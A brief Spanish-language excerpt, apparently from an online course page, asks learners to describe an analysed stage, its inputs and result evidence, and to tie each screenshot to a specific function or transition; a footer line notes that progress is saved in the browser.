Describe la etapa analizada, sus datos de entrada y la evidencia que muestra su resultado. Relaciona cada captura con una función o transición concreta del caso.
El progreso se guarda en este navegador. Puedes recorrer las lecciones en cualquier orden.